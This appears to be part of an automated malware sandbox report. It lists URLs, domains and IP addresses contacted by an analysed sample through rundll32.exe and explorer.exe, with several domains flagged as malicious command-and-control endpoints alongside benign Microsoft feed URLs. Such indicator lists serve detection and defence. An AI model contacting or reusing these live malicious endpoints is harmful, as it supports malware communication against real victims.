https://anikvan.com/api/azuret.php.f	0%	Avira URL Cloud	safe
https://altynbe.com/	0%	Avira URL Cloud	safe
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.phpL	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurent.php	0%	Avira URL Cloud	safe
https://anikvan.com/d	0%	Avira URL Cloud	safe
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.php	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurep1j	0%	Avira URL Cloud	safe
https://altynbe.com/api/azureontent.phpMfE	0%	Avira URL Cloud	safe
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.phpA	0%	Avira URL Cloud	safe
https://altynbe.com/api/azure	0%	Avira URL Cloud	safe
https://workspacin.cloud/live/J5	0%	Avira URL Cloud	safe
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.phpLgF	0%	Avira URL Cloud	safe
https://boriz400.com/qa	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure.php	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.php&j	0%	Avira URL Cloud	safe
https://workspacin.cloud/	0%	Avira URL Cloud	safe
https://boriz400.com/content.php	0%	Avira URL Cloud	safe
https://altynbe.com/X	0%	Avira URL Cloud	safe
https://altynbe.com/d	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurepP	0%	Avira URL Cloud	safe
https://anikvan.com/api/azure==	0%	Avira URL Cloud	safe
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.phpMfE	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurepjB	0%	Avira URL Cloud	safe
https://boriz400.com/	0%	Avira URL Cloud	safe
https://altynbe.com/5~	0%	Avira URL Cloud	safe
https://altynbe.com/api/azureure	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.php4	0%	Avira URL Cloud	safe
https://altynbe.com/=~	0%	Avira URL Cloud	safe
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/n	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.php	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurep&j	0%	Avira URL Cloud	safe
https://workspacin.cloud/live/	0%	Avira URL Cloud	safe
https://anikvan.com/api/azure	0%	Avira URL Cloud	safe
https://altynbe.com/api/azurep	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
workspacin.cloud	104.21.16.155	true	true	unknown
ae1f8849daaac4ee6b80681872ab88b9-1762121307.eu-central-1.elb.amazonaws.com	3.69.236.35	true	false	high
boriz400.com	91.194.11.183	true	true	unknown
altynbe.com	138.124.183.215	true	true	unknown
anikvan.com	95.164.68.73	true	true	unknown
ae97372e4f96e4d1299fbaeb7130b656-1584023256.us-east-1.elb.amazonaws.com	54.175.181.104	true	false	high
uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io	unknown	unknown	false	unknown
ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://illoskanawer.com/live/	true	Avira URL Cloud: safe	unknown
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure	true	Avira URL Cloud: safe	unknown
https://anikvan.com/content.php	true	Avira URL Cloud: safe	unknown
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/api/azure	true	Avira URL Cloud: safe	unknown
https://altynbe.com/content.php	true	Avira URL Cloud: safe	unknown
https://boriz400.com/api/azure	true	Avira URL Cloud: safe	unknown
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.php	true	Avira URL Cloud: safe	unknown
https://altynbe.com/api/azure	true	Avira URL Cloud: safe	unknown
https://boriz400.com/content.php	true	Avira URL Cloud: safe	unknown
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.php	true	Avira URL Cloud: safe	unknown
https://workspacin.cloud/live/	true	Avira URL Cloud: safe	unknown
https://anikvan.com/api/azure	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000016.00000000.1846357884.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure4	rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797600040.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure=	rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810618243.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797600040.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://altynbe.com/tyk.io	rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/	rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.00000292115EF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000016.00000000.1847916203.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2942821965.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://boriz400.com/api/azurey	rundll32.exe, 00000012.00000003.2762031046.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.00000292115BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882651450.00000292115BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.00000292115BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284190577.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311847302.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.00000292115AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure(	rundll32.exe, 00000012.00000002.2938154508.00000292115EF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.office.com	explorer.exe, 00000016.00000002.2945734291.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1859052974.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.phpP	rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797600040.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anikvan.com/I~	rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000016.00000000.1846357884.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/f	rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000016.00000002.2945734291.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1859052974.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false		high
https://anikvan.com/	rundll32.exe, 00000012.00000003.2284190577.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.php1j	rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://anikvan.com/content.php.f	rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000016.00000000.1859052974.000000000C964000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2945734291.000000000C964000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/L	explorer.exe, 00000016.00000000.1859052974.000000000C557000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2945734291.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.php4	rundll32.exe, 00000012.00000003.2284190577.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311847302.000002921159F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://word.office.com	explorer.exe, 00000016.00000002.2945734291.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1859052974.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://workspacin.cloud/live/0vaH	explorer.exe, 00000016.00000002.2943554599.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://altynbe.com/U~	rundll32.exe, 00000012.00000003.1868997096.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1842659886.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1867444760.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://altynbe.com/B_F	rundll32.exe, 00000012.00000003.2680109233.00000292115BB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000016.00000000.1846357884.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
https://workspacin.cloud/live/6	explorer.exe, 00000016.00000002.2947027390.000000000CA7C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/F	rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://anikvan.com/content.phpGf	rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://altynbe.com/content.php2f	rundll32.exe, 00000012.00000003.1868997096.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1842659886.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1867444760.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anikvan.com/api/azuret.php.f	rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.phpL	rundll32.exe, 00000012.00000003.2810418995.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921159F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.000002921159F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://altynbe.com/	rundll32.exe, 00000012.00000003.1867444760.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000016.00000002.2945734291.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1859052974.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://anikvan.com/d	rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurent.php	rundll32.exe, 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://altynbe.com/api/azureontent.phpMfE	rundll32.exe, 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000016.00000000.1846357884.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940539964.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azurep1j	rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797600040.000002921163E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.com_	explorer.exe, 00000016.00000002.2945734291.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1859052974.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://workspacin.cloud/live/J5	explorer.exe, 00000016.00000002.2947027390.000000000CA7C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.phpA	rundll32.exe, 00000012.00000003.2284190577.00000292115AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000016.00000002.2940539964.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.phpLgF	rundll32.exe, 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure.php	rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.php&j	rundll32.exe, 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2491436893.000002921163E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://boriz400.com/qa	rundll32.exe, 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000016.00000002.2940539964.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
